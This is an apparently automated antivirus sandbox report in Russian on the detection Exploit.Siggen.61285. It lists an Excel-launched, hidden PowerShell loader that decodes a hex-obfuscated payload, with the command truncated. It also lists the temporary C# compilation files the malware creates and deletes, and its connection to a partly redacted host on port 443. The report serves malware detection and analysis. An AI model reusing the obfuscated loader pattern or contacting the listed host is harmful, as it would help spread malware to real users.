Exploit.Siggen.61285

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function zb8a358 {param($r46cb)$pbb373='y5fe9ec';$c6644='';for ($i=0; $i -lt $r46cb.length;$i+=2){$pb864=[convert]::ToByte($r46cb.Substring($i,2),16);$c6644+=[char]($pb864...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\dakotptm.0.cs
%TEMP%\res1f1f.tmp
%TEMP%\csc1f0e.tmp
%TEMP%\xczpjkkm.out
%TEMP%\xczpjkkm.cmdline
%TEMP%\xczpjkkm.0.cs
%TEMP%\ys_e6fht.dll
%TEMP%\res1b3.tmp
%TEMP%\csc193.tmp
%TEMP%\ys_e6fht.out
%TEMP%\ys_e6fht.cmdline
%TEMP%\ys_e6fht.0.cs
%TEMP%\8izlihca.dll
%TEMP%\dakotptm.dll
%TEMP%\xczpjkkm.dll
%TEMP%\resda26.tmp
%TEMP%\y64dysq_.dll
%TEMP%\resd8a0.tmp
%TEMP%\cscda06.tmp
%TEMP%\cscd8fd.tmp
%TEMP%\cscd88f.tmp
%TEMP%\8izlihca.out
%TEMP%\8izlihca.cmdline
%TEMP%\8izlihca.0.cs
%TEMP%\y64dysq_.out
%TEMP%\y64dysq_.cmdline
%TEMP%\y64dysq_.0.cs
%TEMP%\dakotptm.out
%TEMP%\dakotptm.cmdline
%TEMP%\resd8fe.tmp
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{08104438-b365-4134-8f04-c5746f952b4e}.tmp

Удаляет следующие файлы

%TEMP%\resd8a0.tmp
%TEMP%\8izlihca.0.cs
%TEMP%\8izlihca.dll
%TEMP%\res1b3.tmp
%TEMP%\csc193.tmp
%TEMP%\ys_e6fht.cmdline
%TEMP%\ys_e6fht.out
%TEMP%\ys_e6fht.0.cs
%TEMP%\xczpjkkm.pdb
%TEMP%\ys_e6fht.pdb
%TEMP%\res1f1f.tmp
%TEMP%\csc1f0e.tmp
%TEMP%\xczpjkkm.0.cs
%TEMP%\xczpjkkm.out
%TEMP%\xczpjkkm.dll
%TEMP%\8izlihca.pdb
%TEMP%\ys_e6fht.dll
%TEMP%\8izlihca.cmdline
%TEMP%\resd8fe.tmp
%TEMP%\cscd88f.tmp
%TEMP%\y64dysq_.dll
%TEMP%\y64dysq_.out
%TEMP%\y64dysq_.pdb
%TEMP%\y64dysq_.cmdline
%TEMP%\y64dysq_.0.cs
%TEMP%\cscd8fd.tmp
%TEMP%\cscda06.tmp
%TEMP%\dakotptm.cmdline
%TEMP%\dakotptm.0.cs
%TEMP%\dakotptm.pdb
%TEMP%\dakotptm.out
%TEMP%\dakotptm.dll
%TEMP%\resda26.tmp
%TEMP%\8izlihca.out
%TEMP%\xczpjkkm.cmdline

Сетевая активность

TCP

'15##850.xyz':443

UDP

DNS ASK 15##850.xyz

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function zb8a358 {param($r46cb)$pbb373='y5fe9ec';$c6644='';for ($i=0; $i -lt $r46cb.length;$i+=2){$pb864=[convert]::ToByte($r46cb.Substring($i,2),16);$c6644+=[char]($pb864...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dakotptm.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y64dysq_.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8izlihca.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD8A0.tmp" "%TEMP%\CSCD88F.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD8FE.tmp" "%TEMP%\CSCD8FD.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDA26.tmp" "%TEMP%\CSCDA06.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ys_e6fht.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1B3.tmp" "%TEMP%\CSC193.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xczpjkkm.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F1F.tmp" "%TEMP%\CSC1F0E.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dakotptm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y64dysq_.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8izlihca.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD8A0.tmp" "%TEMP%\CSCD88F.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD8FE.tmp" "%TEMP%\CSCD8FD.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDA26.tmp" "%TEMP%\CSCDA06.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ys_e6fht.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1B3.tmp" "%TEMP%\CSC193.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xczpjkkm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F1F.tmp" "%TEMP%\CSC1F0E.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding